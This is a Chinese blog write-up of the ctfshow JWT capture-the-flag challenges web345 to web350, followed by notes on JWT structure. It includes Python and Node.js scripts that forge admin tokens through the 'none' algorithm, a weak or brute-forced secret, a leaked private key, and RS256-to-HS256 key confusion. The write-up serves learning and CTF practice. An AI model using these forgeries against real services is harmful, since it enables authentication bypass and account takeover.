ctfshow-jwt

本文最后更新于 2024年9月7日 晚上

题目

web345

打开查看页面源码提示/admin/,抓包看看有没有东西,发现是jwt,放jwt.io里看一下没有加密方式,那就是简单的base64进行转化,这里利用hackerbar进行发包

1
{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1725711082,"exp":1725718282,"nbf":1725711082,"sub":"admin","jti":"49c32732a51fddf321b60f8bd4e3b3fd"}]

这里把sub的user改成admin,然后再进行base64加密就行,放到原来的地方再发包得到flag

web346

正常流程用jwt.io检测一下,发现是 “alg”: “HS256”加密,JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。这里直接base64看不了,利用网站,自己脚本编一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import jwt
headers={
"alg": "none",
"typ": "JWT"
}
token_dict={
"iss": "admin",
"iat": 1725711820,
"exp": 1725719020,
"nbf": 1725711820,
"sub": "admin",
"jti": "db9c8eec3e315880838b4b09ee3d8345"
}
jwt_token= jwt.encode(token_dict,
"",
algorithm="none",
headers=headers)
print(jwt_token)

流程和上一题基本一致

web347

不能直接改了,有弱口令提示,猜测常见的的弱密码,发现结果是123456,改admin,输入弱密码,得到jwt流程基本和前面一致。

web348

这题标题提示的是爆破,需要利用工具是c-jwt-cracker,去github可以搜到工具,爆破一下得到密钥,剩余流程和之前的差不多

2024-09-07204503

web349

先上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

这题不一样了,是RS256,可以访问private.key和public.key,会下载密钥和公钥,把公私钥放进去流程也是一样,测试了一下在线网站好像不能直接运行啊,用python写个脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import jwt

private = open("private.key", 'r').read()
payload = {
"user": "admin",
"iat": 1725719515
}

headers = {
"alg": "RS256",
"typ": "JWT"
}
token = jwt.encode(payload=payload,
key=private,
algorithm="RS256",
headers=headers)
print(token)

2024-09-07224432

web350

和上题大致一样,但是只给了public key,这题需要nodejs跑一下,先上个脚本吧

1
2
3
4
5
6
7
8
9
const jwt = require('jsonwebtoken');
var fs = require('fs');

var privateKey = fs.readFileSync('public.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });

console.log(token);

2024-09-07230802

2024-09-07230754

知识点

介绍

jwt(JSON Web Token)是一串json格式的字符串,由服务端用加密算法对信息签名来保证其完整性和不可伪造。Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。它的出现是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。

一个jwt token 由三部分组成,header,payload和signature,以点隔开,类似于orange.apple.banana这个样子

  • header用来声明token的类型和签名用的算法等,需要经过base64Url编码,比如

{"alg":"HS256","typ":"JWT"}

alg表示的是签名的算法,默认是HMAC SHA256(写成HS256)

typ表示这个令牌的类型,统一写作JWT

  • payload用来表示真正的token信息,也需要base64Url编码,比如

{"sub":"1234567890","name":"orange","iat":1516239022}

1
2
3
4
5
6
7
8
JWT 规定了7个官方字段,供选用
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
  • signature,将前两部分用alg指定的算法加密,再经过Base64Url编码就是signature了,作用是防止数据篡改。

解码

正常使用https://jwt.io/这个网站,可以直观的了解header和payload

爆破secret.key工具c-jwt-cracker

我使用的是docker起的

1
docker run -it --rm  jwtcrack jwt内容

ctfshow-jwt
http://example.com/2024/09/07/每日一题/ctfshow-jwt/
作者
orange
发布于
2024年9月7日
许可协议